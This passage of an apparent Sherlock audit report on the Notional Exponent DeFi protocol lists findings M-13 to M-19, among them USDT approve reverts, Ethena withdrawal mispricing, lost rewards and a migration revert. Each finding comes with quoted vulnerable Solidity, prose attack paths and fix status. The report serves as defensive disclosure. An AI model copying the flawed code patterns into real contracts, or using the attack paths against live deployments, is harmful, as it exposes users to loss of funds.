↪  0x83916356556f51dcBcB226202c3efeEfc88d5eaA 3600;
cast call -r https://eth-mainnet.public.blastapi.io
↪  0x66a1096C6366b2529274dF4f5D8247827fe4CEA8
↪  "getPtToSyRate(address,uint32)(uint256)"
↪  0x9471d9c5B57b59d42B739b00389a6d520c33A7a9 3600;
cast call -r https://eth-mainnet.public.blastapi.io
↪  0x66a1096C6366b2529274dF4f5D8247827fe4CEA8
↪  "getPtToSyRate(address,uint32)(uint256)"
↪  0x08946D1070bab757931d39285C12FEf4313b667B 3600;
cast call -r https://eth-mainnet.public.blastapi.io
↪  0x66a1096C6366b2529274dF4f5D8247827fe4CEA8
↪  "getPtToSyRate(address,uint32)(uint256)"
↪  0x1C3bA40210fa290de13c62Fe1a9EfcB694725D10 3600;
cast call -r https://eth-mainnet.public.blastapi.io
↪  0x66a1096C6366b2529274dF4f5D8247827fe4CEA8
↪  "getPtToSyRate(address,uint32)(uint256)"
↪  0x0271A803f0d3Dec9cCd105A4A4d41e6Ee1458765 3600;
cast call -r https://eth-mainnet.public.blastapi.io
↪  0x66a1096C6366b2529274dF4f5D8247827fe4CEA8
↪  "getPtToSyRate(address,uint32)(uint256)"
↪  0xEDda7526EC81055F2af99d51D968FC2FBca9Ee96 3600;
cast call -r https://eth-mainnet.public.blastapi.io
↪  0x66a1096C6366b2529274dF4f5D8247827fe4CEA8
↪  "getPtToSyRate(address,uint32)(uint256)"
↪  0xE4AF6375F4424b61B91A1E96b9dE6ff8E842AA3A 3600;
```

Impact

Incorrect `ptRate` will cause the incrrect price returned by the oracle.

PoC

No response

Mitigation

No response

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/29

Issue M-13: Incompatibility of `ERC20::approve` function with USDT tokens on Ethereum Mainnet chain

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/652

Found by

Atharv, Bigsam, KungFuPanda, Ledger_Patrol, Pro_King, X0sauce, bretzel, bube, h2134, harry, mgf15, sebar1018, theweb3mechanic, yoooo

Summary

The `ERC-20` standard specifies that approve function should return a bool indicating success. However, some widely-used tokens such as `USDT` omit the return value. When interacting with such tokens using high-level Solidity calls (`ERC20(token).approve`), the EVM expects a return value. If none is returned, decoding fails and the transaction reverts.

Root Cause

The AbstractLendingRouter::_enterOrMigrate function, MorphoLendingRouter::_supplyCollateral function, AbstractStakingStrategy::_mintYieldToken and GenericERC4626::_stakeTokens use the `ERC20::approve` function to approve a given amount of asset/token:

```
function _enterOrMigrate(
        address onBehalf,
        address vault,
        address asset,
        uint256 assetAmount,
        bytes memory depositData,
        address migrateFrom
    ) internal returns (uint256 sharesReceived) {
        if (migrateFrom != address(0)) {
            // Allow the previous lending router to repay the debt from assets held
            ↪  here.
            ERC20(asset).checkApprove(migrateFrom, assetAmount);
            sharesReceived =
            ↪  ILendingRouter(migrateFrom).balanceOfCollateral(onBehalf, vault);

            // Must migrate the entire position
            ILendingRouter(migrateFrom).exitPosition(
```

```
                onBehalf, vault, address(this), sharesReceived, type(uint256).max,
                ↪  bytes("")
            );
        } else {
@>          ERC20(asset).approve(vault, assetAmount);
            sharesReceived = IYieldStrategy(vault).mintShares(assetAmount,
             ↪  onBehalf, depositData);
        }

        _supplyCollateral(onBehalf, vault, asset, sharesReceived);
    }

    function _supplyCollateral(
        address onBehalf,
        address vault,
        address asset,
        uint256 sharesReceived
    ) internal override {
        MarketParams memory m = marketParams(vault, asset);

        // Allows the transfer from the lending market to the Morpho contract
        IYieldStrategy(vault).allowTransfer(address(MORPHO), sharesReceived,
         ↪  onBehalf);

        // We should receive shares in return
    @>  ERC20(vault).approve(address(MORPHO), sharesReceived);
        MORPHO.supplyCollateral(m, sharesReceived, onBehalf, "");
    }

    function _mintYieldTokens(uint256 assets, address /* receiver */, bytes memory
     ↪  depositData) internal override virtual {
@>      ERC20(asset).approve(address(withdrawRequestManager), assets);
        withdrawRequestManager.stakeTokens(address(asset), assets, depositData);
    }

     function _stakeTokens(uint256 amount, bytes memory /* stakeData */) internal
      ↪  override {
@>      ERC20(STAKING_TOKEN).approve(address(YIELD_TOKEN), amount);
        IERC4626(YIELD_TOKEN).deposit(amount, address(this));
    }
```

According to the `README` the contract will be deployed on Ethereum Mainnet chain and will use USDT tokens.

The problem is that the `ERC20` interface expects the `approve` function to return a boolean value, but `USDT` token on Ethereum dosn't have a return value. This means the approve operation of the tokens will always revert.

Also these functions don't set first the allowance to 0. In normal circumstances, the previous allowance should be used and the current allowance should be 0, but if the current allowance is not 0, the approve function will revert again. The `approve` function of the `USDT` token expects the allowance to be 0 before setting the new one.

Impact

Users are unable to use properly important functions of the protocol like entering or migrating a vault, minting yield tokens or staking tokens with USDT token on Ethereum mainnet chain, these functions will always revert due to the use of `ERC20::approve` function. USDT is one of the tokens that the protocol will use, therefore the failure to handle its non-boolean approve return is a critical issue due to breaking core functionality for a supported token.

PoC

The following test shows that the approve function will revert for `USDT` token on Ethereum Mainnet chain:

```
function testApproveMainnet() public{
    address user = address(0x123);
    ethFork = vm.createFork(ETH_RPC_URL);
    vm.selectFork(ethFork);
    assetUsdtETH = IERC20(usdtETH);

    deal(address(assetUsdtETH), user, 100*10**6, true);

    vm.startPrank(user);
    vm.expectRevert();
    assetUsdtETH.approve(address(0x444), 10*10**6);
}
```

Mitigation

Use OpenZeppelin's `SafeERC20::forceApprove` function instead of `IERC20::approve` function.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/11

Issue M-14: Value of Etherna's Withdrawal Request is incorrect

Source: https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/665

Found by

xiaoming90

Summary

-

Root Cause

-

Internal Pre-conditions

-

External Pre-conditions

-

Attack Path

In Notional, when pricing a withdrawal request that has not been finalized yet, it will always price it against the number of yield tokens within the withdrawal request. This is the correct approach most of the time. For instance, it is correct to price the withdrawal request with wstETH using the wstETH price, because any slashing that occurs during the 7-day waiting period will affect the amount of ETH received at the end. This also applies to other Liquid Staking Tokens (LST) such as EtherFi's weETH.

If a major slashing event occurs, the market price of the LST will decrease accordingly and be reflected in the price provided by the oracle providers (e.g., Chainlink). This is because the market will take into consideration the adverse event that has occurred. This is how the normal market functions.

That being said, there are instances where it is incorrect to price the withdrawal request using the yield token's price. This generally applies to staking tokens that do not involve slashing, and the amount of tokens received at the end of the wait period is already predetermined when initiating the withdrawal and will not change regardless of subsequent events that may occur. Tokens that fit this category are often stable assets such as USDe.

When the WithdrawRequestManager (WRM) calls `sUSDe.cooldownShares(cooldownBalance)`, the sUSDe shares will be converted to USDe assets in Line 112 below. The `cooldownBalance` number of sUSDe shares will be burned, and the corresponding USDe will be sent to SILO for holding/escrowing in Line 117 within the `_withdraw()` function.

Note that converted USDe assets are sent to SILO for holding/escrowing and the number of USDe assets will not change regardless of any circumstances. The number of converted USDe assets is recorded with the `cooldowns[msg.sender].underlyingAmount` mapping in Line 115 below.

https://etherscan.io/address/0x9d39a5de30e57443bff2a8307a4256c8797a3497#code#F1#L115

```
File: StakedUSDeV2.sol
107:   /// @notice redeem shares into assets and starts a cooldown to claim the
↪  converted underlying asset
108:   /// @param shares shares to redeem
109:   function cooldownShares(uint256 shares) external ensureCooldownOn returns
↪  (uint256 assets) {
110:     if (shares > maxRedeem(msg.sender)) revert ExcessiveRedeemAmount();
111:
112:     assets = previewRedeem(shares);
113:
114:     cooldowns[msg.sender].cooldownEnd = uint104(block.timestamp) +
↪  cooldownDuration;
115:     cooldowns[msg.sender].underlyingAmount += uint152(assets);
116:
117:     _withdraw(msg.sender, address(silo), msg.sender, assets, shares);
118:   }
```

To prove this point, the number of USDe assets returned to the user is always equal to the `userCooldown.underlyingAmount` as shown in the `unstake()` function below.

https://etherscan.io/address/0x9d39a5de30e57443bff2a8307a4256c8797a3497#code#F1#L80

```
File: StakedUSDeV2.sol
77:   /// @notice Claim the staking amount after the cooldown has finished. The
↪  address can only retire the full amount of assets.
78:   /// @dev unstake can be called after cooldown have been set to 0, to let
↪  accounts to be able to claim remaining assets locked at Silo
79:   /// @param receiver Address to send the assets by the staker
80:   function unstake(address receiver) external {
81:     UserCooldown storage userCooldown = cooldowns[msg.sender];
82:     uint256 assets = userCooldown.underlyingAmount;
83:
```

```
84:     if (block.timestamp >= userCooldown.cooldownEnd || cooldownDuration == 0) {
85:       userCooldown.cooldownEnd = 0;
86:       userCooldown.underlyingAmount = 0;
87:
88:       silo.withdraw(receiver, assets);
89:     } else {
90:       revert InvalidCooldown();
91:     }
92:   }
```

This point is also further supported by the codebase's comment below.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/withdraws/Ethena.sol#L94

```
File: Ethena.sol
091:     function canFinalizeWithdrawRequest(uint256 requestId) public view override returns (bool) {
092:         uint24 duration = sUSDe.cooldownDuration();
093:         address holder = address(uint160(requestId));
094:         // This valuation is the amount of USDe the account will receive at cooldown, once
095:         // a cooldown is initiated the account is no longer receiving sUSDe yield. This balance
096:         // of USDe is transferred to a Silo contract and guaranteed to be available once the
097:         // cooldown has passed.
098:         IsUSDe.UserCooldown memory userCooldown = sUSDe.cooldowns(holder);
099:         return (userCooldown.cooldownEnd < block.timestamp || 0 == duration);
100:     }
```

However, in the protocol, whenever a Withdraw Request (WR) has not been finalized, it will always be priced in yield token (in this case, it is sUSDe), which is incorrect in this instance for Etherna's USDe/sUSDe. This is shown in Line 330 below.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/withdraws/AbstractWithdrawRequestManager.sol#L330

```
File: AbstractWithdrawRequestManager.sol
307:     function getWithdrawRequestValue(
308:         address vault,
309:         address account,
310:         address asset,
311:         uint256 shares
312:     ) external view override returns (bool hasRequest, uint256 valueInAsset) {
313:         WithdrawRequest memory w = s_accountWithdrawRequest[vault][account];
314:         if (w.requestId == 0) return (false, 0);
315:
316:         TokenizedWithdrawRequest memory s = s_tokenizedWithdrawRequest[w.requestId];
```

```

        int256 tokenRate;
        uint256 tokenAmount;
        uint256 tokenDecimals;
        uint256 assetDecimals = TokenUtils.getDecimals(asset);
        if (s.finalized) {
            // If finalized the withdraw request is locked to the tokens withdrawn
            (tokenRate, /* */) = TRADING_MODULE.getOraclePrice(WITHDRAW_TOKEN, asset);
            tokenDecimals = TokenUtils.getDecimals(WITHDRAW_TOKEN);
            tokenAmount = (uint256(w.yieldTokenAmount) * uint256(s.totalWithdraw)) / uint256(s.totalYieldTokenAmount);
        } else {
            // Otherwise we use the yield token rate
            (tokenRate, /* */) = TRADING_MODULE.getOraclePrice(YIELD_TOKEN, asset);
            tokenDecimals = TokenUtils.getDecimals(YIELD_TOKEN);
            tokenAmount = w.yieldTokenAmount;
        }
```

As shown in the logic of `cooldownShares` function above, sUSDe no longer exists and has already been converted to a fixed number of USDe. Thus, the correct approach is to price the WR in the fixed amount of USDe instead of sUSDe

If the `getWithdrawRequestValue` is priced in sUSDe, the value it returns will either be inflated because the value of sUSDe rises over time or undervalued if sUSDe depeg.

For instance, the price of USDe is 1 USD, and one sUSDe is worth 1.18 USDe. Thus, the price of sUSDe is 1.18 USD. During the initiate withdrawal, assume that 100 sUSDe of yield tokens will be burned. As such, the WR's `yieldTokenAmount` will be set to 100 sUSDe. When `StakedUSDeV2.cooldownShares()` function is executed, Etherna will burn 100 sUSDe and escrowed a fixed 118 USDe to be released to the WRM once the cooldown period is over.

Assume that the price of sUSDe increases from 1.18 USD to 1.50 USD some time later. In this case, the protocol will still continue to price the WR in yield token (sUSDe) and determine that the value of WR is worth 150 USD, even though it is only worth 118 USD because only a maximum of 118 USDe can be withdrawn from Etherna. The sUSDe/USD Chainlink price feed shows that the price of sUSDe increases continuously over time.

If the value of WR is 118 USD, the account is already underwater and is subject to liquidation. However, due to the bugs, the protocol incorrectly priced the WR as 150 USD, and believes the account is healthy, preventing the liquidator from liquidating the unhealthy account. Additionally, if the value of WR is inflated, users can borrow more than they are permitted to.

Impact

High. Inflating the value of WR causes liquidation not to happen when it should OR lead to users borrowing more than they are permitted to, leading to bad debt accumulating and protocol insolvency, which are serious problems. On the other hand, undervaluation of WR leads to the premature liquidation of the user's position, resulting in a loss for the user.

PoC

No response

Mitigation

No response

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/36

Issue M-15: Loss of reward tokens during initiating withdrawal due to cooldown

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/669

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

0xDeoGratias, Bigsam, crunter, touristS, xiaoming90, yaractf

Summary

-

Root Cause

-

Internal Pre-conditions

-

External Pre-conditions

-

Attack Path

In Line 191 below, if the cooldown has not over yet, the protocol will skip the claiming of rewards from external protocols.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/rewards/AbstractRewardManager.sol#L191

```
File: AbstractRewardManager.sol
183:     /// @notice Executes a claim against the given reward pool type and
 ↪  updates internal
184:     /// rewarder accumulators.
185:     function _claimVaultRewards(
186:         uint256 effectiveSupplyBefore,
187:         VaultRewardState[] memory state
188:     ) internal {
```

```
189:         RewardPoolStorage memory rewardPool = _getRewardPoolSlot(); //
 ↪  @audit-ok
190:         if (rewardPool.rewardPool == address(0)) return;
191:         if (block.timestamp < rewardPool.lastClaimTimestamp +
 ↪  rewardPool.forceClaimAfter) return;
```

Concerning tracking of rewards, the invariant is that whenever there is a change in `effectiveSupplyBefore` (aka total supply), the protocol must claim the rewards and update the reward accumulation state variable based on the current `effectiveSupplyBefore` before updating the new `effectiveSupply` value. However, this is not always true because the protocol will sometimes skip claiming rewards.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/AbstractYieldStrategy.sol#L150

```
File: AbstractYieldStrategy.sol
149:     function effectiveSupply() public view returns (uint256) {
150:         return (totalSupply() - s_escrowedShares + VIRTUAL_SHARES); //
 ↪  @audit-info VIRTUAL_SHARES = 1e6
151:     }
```

Assume the following states at Time T0.

- `rewardPool.forceClaimAfter` is set to 15 minutes.
- The current balance of yield tokens residing in the Yield Strategy vault, the vault is earning 1 WETH per minutes.
- The current `effectiveSupply()` is 10. Bob holds 5 shares, while Alice holds 5 shares.
- `accumulatedRewardPerVaultShare` = 0.

At T5 (5 minutes later since T0), 5 WETH is earned, and `accumulatedRewardPerVaultShare` will increase by 0.5 (5 WETH rewards divided by 10 vault shares), per Line 267 below. This basically means that each share is entitled to 0.5 WETH.

The `accumulatedRewardPerVaultShare` will be 0.5 now and `rewardPool.lastClaimTimestamp` will be set to T5.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/rewards/AbstractRewardManager.sol#L267

```
File: AbstractRewardManager.sol
259:     function _accumulateSecondaryRewardViaClaim(
260:         uint256 index,
261:         VaultRewardState memory state,
262:         uint256 tokensClaimed,
263:         uint256 effectiveSupplyBefore
264:     ) private {
265:         if (tokensClaimed == 0) return;
266:
267:         state.accumulatedRewardPerVaultShare += (
```

```
            (tokensClaimed * DEFAULT_PRECISION) / effectiveSupplyBefore
        ).toUint128();

        _getVaultRewardStateSlot()[index] = state;
    }
```

At T10 (10 minutes later), Bob decided to call `initiateWithdraw` to initiate a withdrawal, the `s_escrowedShares` will increase by 9. Before `s_escrowedShares` is increased by 5, the following `updateAccountRewards` function at Line 131 will be executed to ensure that Bob claims or retrieves all the reward tokens he is entitled to before initiating the withdrawal. This is critical because, after initiating the withdrawal, Bob can no longer claim the rewards, as per the protocol's design.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/rewards/RewardManagerMixin.sol#L131

```
File: RewardManagerMixin.sol
120:     /// @dev Ensures that the account no longer accrues rewards after a
  ↪  withdraw request is initiated.
121:     function _initiateWithdraw(
122:         address account,
123:         uint256 yieldTokenAmount,
124:         uint256 sharesHeld,
125:         bytes memory data
126:     ) internal override returns (uint256 requestId) {
127:         uint256 effectiveSupplyBefore = effectiveSupply();
128:
129:         // Claim all rewards before initiating a withdraw shares not considered
130:         // in the escrow state at this point.
131:         _updateAccountRewards({
132:             account: account,
133:             accountSharesBefore: sharesHeld,
134:             accountSharesAfter: sharesHeld,
135:             effectiveSupplyBefore: effectiveSupplyBefore,
136:             sharesInEscrow: false
137:         });
138:
139:         requestId = __initiateWithdraw(account, yieldTokenAmount, sharesHeld,
  ↪  data);
140:     }
```

The `updateAccountRewards` function will internally execute the `_claimVaultRewards` function in Line 159 below. Since, it is still in cooldown, the claiming of rewards from external protocols will be skipped. Even though a total reward of 5 WETH has accumulated since T5 that is awaiting to be claimed at the external protocol, it is not claimed due to the cooldown. To recap, note that from T0 to T10, 10 minutes have already been passed and a total of 10 WETH is earned. 5 WETH has been claimed and the other 5 WETH has not been claimed.

Subsequently, at Line 173, the `_claimRewardToken` will be executed to claim the rewards for Bob. In this case, based on the current `accumulatedRewardPerVaultShare` (0.5), Bob will receive 2.5 WETH. Here, we can already see a valid issue that although a total of 10 WETH is earned, Bob only received 2.5 WETH instead of 5 WETH. This means that Alice will be able to obtain a rewards of 7.5 WETH later once the cooldown is over.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/rewards/AbstractRewardManager.sol#L173

```
File: AbstractRewardManager.sol
148:     function updateAccountRewards(
149:         address account,
150:         uint256 effectiveSupplyBefore,
151:         uint256 accountSharesBefore,
152:         uint256 accountSharesAfter,
153:         bool sharesInEscrow
154:     ) external returns (uint256[] memory rewards) {
155:         // Short circuit in this case, no rewards to claim
156:         if (sharesInEscrow && accountSharesAfter > 0) return rewards;
157: 
158:         VaultRewardState[] memory state = _getVaultRewardStateSlot();
159:         _claimVaultRewards(effectiveSupplyBefore, state);
160:         rewards = new uint256[](state.length);
161: 
162:         for (uint256 i; i < state.length; i++) {
163:             if (sharesInEscrow && accountSharesAfter == 0) {
164:                 delete
 ↪  _getAccountRewardDebtSlot()[state[i].rewardToken][account];
165:                 continue;
166:             }
167: 
168:             if (0 < state[i].emissionRatePerYear) {
169:                 // Accumulate any rewards with an emission rate here
170:                 _accumulateSecondaryRewardViaEmissionRate(i, state[i],
 ↪  effectiveSupplyBefore);
171:             }
172: 
173:             rewards[i] = _claimRewardToken(
174:                 state[i].rewardToken,
175:                 account,
176:                 accountSharesBefore,
177:                 accountSharesAfter,
178:                 state[i].accumulatedRewardPerVaultShare
179:             );
180:         }
181:     }
```

The root cause here is that, during initiating withdrawal, the cooldown should not be applicable and the claiming of reward tokens from external protocol must always occur.

This is ensure that the `accumulatedRewardPerVaultShare` is updated to the latest state before Bob claims his reward for the last time.

Impact

High, loss of funds (reward tokens) for the affected victim as shown above.

PoC

No response

Mitigation

During initiating withdrawal, the cooldown should not be applicable and the claiming of reward tokens from the external protocol must always occur. This ensures that the `accumulatedRewardPerVaultShare` is updated to the latest state before Bob claims his reward for the last time.

Discussion

jeffywu

Won't fix, this is the design of the system and any loss would be considered marginal.

Issue M-16: Users will be unfairly liquidated if collateral value drops after initiating withdraw request

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/673

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

xiaoming90

Summary

-

Root Cause

-

Internal Pre-conditions

-

External Pre-conditions

-

Attack Path

One of the most critical features of the new Notional exponent is that it allows users to `initiateWithdraw` of their shares while they are being held as collateral on lending protocols.

An important note here is that after a user has initiated a withdrawal, this doesn't mean that the user has exited their positions. In fact, the user have not exited their positions yet, and initiating a withdrawal simply allows the underlying staking tokens assigned to the external protocol's redemption queue in advance so that users can skip the redemption waiting period if they intend to withdraw later (It's up to the users whether they want to exit the position or not).

After a user initiates a withdrawal, a withdrawal request will be created and tagged to their account. If there is a pending withdrawal request, the users can no longer mint any new Yield Strategy vault shares, as shown in Line 197 below.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/AbstractYieldStrategy.sol#L197

```
File: AbstractYieldStrategy.sol
191:     function mintShares(
192:         uint256 assetAmount,
193:         address receiver,
194:         bytes calldata depositData
195:     ) external override onlyLendingRouter setCurrentAccount(receiver)
 ↪  nonReentrant returns (uint256 sharesMinted) {
196:         // Cannot mint shares if the receiver has an active withdraw request
197:         if (_isWithdrawRequestPending(receiver)) revert CannotEnterPosition();
```

Assume that Bob initiates a withdrawal request. It takes 7 days for the withdrawal in the external protocol to be finalized, which is a pretty standard timeframe (e.g., LIDO's wstETH, Ethena's sUSDe).

However, if the price of Bob's position collateral decreases within these 7 days (e.g., Bob's collateral price drops) and his account is on the verge of being liquidated (not yet, but soon), there is no way for Bob to top-up his "margin" or collateral to save his position because he is blocked from doing so due to an existing withdrawal request in his account. As such, he can only watch his position being liquidated by someone else. When his position is liquidated, he will incur a loss as part of his total position's fund is given to the liquidator.

This is a common scenario in which the price of yield tokens gradually decreases over time due to certain unfavorable market conditions. In this case, it is normal that users will want to top up the "margin" of their positions to avoid being liquidated. The "margin" here refers to the collateral value of the position in the context of Morpho's position, but the idea/concept is the same as that of a typical leveraged trading platform.

Note that this is not the intended design of the protocol, as all leveraged products allow their users to top up their margin if it falls close to the liquidation margin or falls below the liquidation margin, so that users can avoid being liquidated. Users will always want to avoid liquidation due to the loss incurred from the liquidation fee or incentive given to the liquidators, and they can only recover a portion of their assets after liquidation.

Impact

High. Loss of funds as shown in the scenario above. A portion of his position's funds is lost to the liquidator.

PoC

No response

Mitigation

No response

Discussion

jeffywu

This is not true. The user can repay their debt directly on Morpho.

Issue M-17: User unable to migrate under certain edge case

Source: https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/674

Found by

Bigsam, Ledger_Patrol, Ragnarok, Riceee, X0sauce, aman, coffiasd, dan__vinci, dhank, h2134, hard1k, shiazinho, theweb3mechanic, xiaoming90

Summary

-

Root Cause

-

Internal Pre-conditions

-

External Pre-conditions

-

Attack Path

During migration, the `assetToRepay` parameter of the `_exitWithRepay` function is always set to `type(uint256).max`, as shown in Line 237 below.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/routers/AbstractLendingRouter.sol#L237

```
File: AbstractLendingRouter.sol
221:     /// @dev Enters a position or migrates shares from a previous lending
 ↪  router
222:     function _enterOrMigrate(
223:         address onBehalf,
224:         address vault,
225:         address asset,
226:         uint256 assetAmount,
227:         bytes memory depositData,
```

```
            address migrateFrom
        ) internal returns (uint256 sharesReceived) {
            if (migrateFrom != address(0)) {
                // Allow the previous lending router to repay the debt from assets held here.
                ERC20(asset).checkApprove(migrateFrom, assetAmount);
                sharesReceived = ILendingRouter(migrateFrom).balanceOfCollateral(onBehalf, vault);

                // Must migrate the entire position
                ILendingRouter(migrateFrom).exitPosition(
                    onBehalf, vault, address(this), sharesReceived, type(uint256).max, bytes("")
                );
            } else {
```

Assume that Bob has supplied collateral, but no debt, and he wants to migrate from the previous lending router to a new lending router.

Since `assetToRepay` is set to `type(uint256).max`, the `assetToRepay` will be overwritten to zero (0) in Line 193 below. In addition, since Bob does not have any debt, which means that he has no borrow shares, the `MORPHO.position(morphoId(m), onBehalf).borrowShares` at Line 192 below will return zero (0). In this case, `sharesToRepay` will be zero (0)

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/routers/MorphoLendingRouter.sol#L192

```
File: MorphoLendingRouter.sol
177:     function _exitWithRepay(
178:         address onBehalf,
179:         address vault,
180:         address asset,
181:         address receiver,
182:         uint256 sharesToRedeem,
183:         uint256 assetToRepay,
184:         bytes calldata redeemData
185:     ) internal override {
186:         MarketParams memory m = marketParams(vault, asset);
187:
188:         uint256 sharesToRepay;
189:         if (assetToRepay == type(uint256).max) {
190:             // If assetToRepay is uint256.max then get the morpho borrow shares amount to
191:             // get a full exit.
192:             sharesToRepay = MORPHO.position(morphoId(m), onBehalf).borrowShares;
193:             assetToRepay = 0;
194:         }
195:
196:         bytes memory repayData = abi.encode(
```

```
197:             onBehalf, vault, asset, receiver, sharesToRedeem, redeemData,
↪  _isMigrate(receiver)
198:         );
199:
200:         // Will trigger a callback to onMorphoRepay
201:         MORPHO.repay(m, assetToRepay, sharesToRepay, onBehalf, repayData);
202:     }
```

Note that both `assetToRepay` and `sharesToRepay` are zero (0). At Line 201 above, the `Morpho.repay()` function will be executed with the following parameter values:

```
MORPHO.repay(m, assetToRepay, sharesToRepay, onBehalf, repayData);
MORPHO.repay(m, 0, 0, onBehalf, repayData);
```

When inspecting Morpho's `Morpho.repay()` function, the repay function will revert at Line 278 due to the `UtilsLib.exactlyOneZero(assets, shares)` check because `assets` and `shares` cannot be both zero at the same time.

https://github.com/morpho-org/morpho-blue/blob/731e3f7ed97cf15f8fe00b86e4be5365eb3802ac/src/Morpho.sol#L278

```
File: Morpho.sol
269:     function repay(
270:         MarketParams memory marketParams,
271:         uint256 assets, // @audit-info if migrate, assets = assetToRepay = 0
272:         uint256 shares, // @audit-info if migrate, shares =
↪  MORPHO.position(morphoId(m), onBehalf).borrowShares;
273:         address onBehalf,
274:         bytes calldata data
275:     ) external returns (uint256, uint256) {
276:         Id id = marketParams.id();
277:         require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
278:         require(UtilsLib.exactlyOneZero(assets, shares),
↪  ErrorsLib.INCONSISTENT_INPUT);
279:         require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
```

https://github.com/morpho-org/morpho-blue/blob/731e3f7ed97cf15f8fe00b86e4be5365eb3802ac/src/libraries/UtilsLib.sol#L13

```
File: UtilsLib.sol
11: library UtilsLib {
12:     /// @dev Returns true if there is exactly one zero among `x` and `y`.
13:     function exactlyOneZero(uint256 x, uint256 y) internal pure returns (bool
↪  z) {
14:         assembly {
15:             z := xor(iszero(x), iszero(y))
16:         }
```

```
}
```

Impact

Medium. Migration function is a core functionality in the protocol. This report shows that the migration will be DOS or not work under certain edge case.

PoC

No response

Mitigation

Skip the repayment if debt is zero, and proceed with the migration.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/notional-finance/notional-v4/pull/9

Issue M-18: Reducing liquidity in the hardcoded Curve sDAI/sUSDe pool leads to unnecessary slippage loss

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/677

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

xiaoming90

Summary

-

Root Cause

-

Internal Pre-conditions

-

External Pre-conditions

-

Attack Path

Maker's Savings DAI (sDAI) is the old version of SKY's Savings USDS (sUSDS). The OG Maker DAI protocol has migrated to the new SKY protocol. sDAI is issued by old Maker DAI while sUSDS is issued by new SKY protocol.

This part of the code, where sUSDe is swapped to sDAI and then swapped to the asset token, is taken from the old Notional code during the period when Maker had not migrated to SKY yet. In the past, the sDAI/sUSDe curve pool has had larger liquidity.

However, eventually, the liquidity in the hardcoded Curve sDAI/sUSDe (0x167478921b907422F8E88B43C4Af2B8BEa278d3A) pool will decrease as users migrate over to the newer sUSDS since the newer SKY protocol is where the majority of the incentives are allocated at the moment. Users will be incentivized to move to sUSDS over time.

The following is the on-chain liquidity data of the Curve sDAI/sUSDe pool, showing that the balance of sDAI steadily decreases over time, aligned with the points mentioned above.

- 12 month ago (Apr-06-2024)(19600000) - 6.4 million sDAI
- 6 month ago (Jan-11-2025)(Block - 21600000) - 6.2 million sDAI
- 3 months ago (Apr-04-2025) 22196000 - 5.6 million sDAI
- Today (Jul-13-2025) - 5.2 million sDAI

If the liquidity is reduced or decreased to a lower level, the users are still forced to swap with this curve pool due to the hardcoded swap logic here (sUSDe -> sDAI -> assets), incurring unnecessary slippage due to low liquidity in Curve sDAI/sUSDe pool.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/staking/PendlePT_sUSDe.sol#L42

```
File: PendlePT_sUSDe.sol
23:     /// @notice The vast majority of the sUSDe liquidity is in an sDAI/sUSDe
 ↪  curve pool.
24:     /// sDAI has much greater liquidity once it is unwrapped as DAI so that is
 ↪  done manually
25:     /// in this method.
26:     function _executeInstantRedemption(
27:         uint256 yieldTokensToRedeem,
28:         bytes memory redeemData
29:     ) internal override virtual returns (uint256 assetsPurchased) {
30:         PendleRedeemParams memory params = abi.decode(redeemData,
 ↪  (PendleRedeemParams));
31:         uint256 netTokenOut = _redeemPT(yieldTokensToRedeem,
 ↪  params.limitOrderData);
32:
33:         Trade memory sDAITrade = Trade({
34:             tradeType: TradeType.EXACT_IN_SINGLE,
35:             sellToken: address(sUSDe),
36:             buyToken: address(sDAI),
37:             amount: netTokenOut,
38:             limit: 0, // NOTE: no slippage guard is set here, it is enforced in
 ↪  the second leg
39:                             // of the trade.
40:             deadline: block.timestamp,
41:             exchangeData: abi.encode(CurveV2SingleData({
42:                 pool: 0x167478921b907422F8E88B43C4Af2B8BEa278d3A,
43:                 fromIndex: 1, // sUSDe
44:                 toIndex: 0 // sDAI
45:             }))
46:         });
```

Impact

High. Loss of funds due to unnecessary slippage

PoC

No response

Mitigation

No response

Discussion

T-Woodward

Not a useful comment. The same could be said of any token. The risk is higher here due to a hardcoded dex, but it is a known and understood risk. Furthermore, users can wait until PT maturity to exit via unstaking their sUSDe and avoiding the dex altogether.

Issue M-19: Unable to deposit to Convex in Arbitrum

Source: https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/678

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

dan__vinci, elolpuer, khaye26, xiaoming90

Summary

-

Root Cause

-

Internal Pre-conditions

-

External Pre-conditions

-

Attack Path

Per the contest's README, Base and Arbitrum are in-scope for this contest. Sherlock's Judge has further confirmed this in the Discord channel.

> Q: On what chains are the smart contracts going to be deployed? Ethereum, in the future we will consider Base or Arbitrum

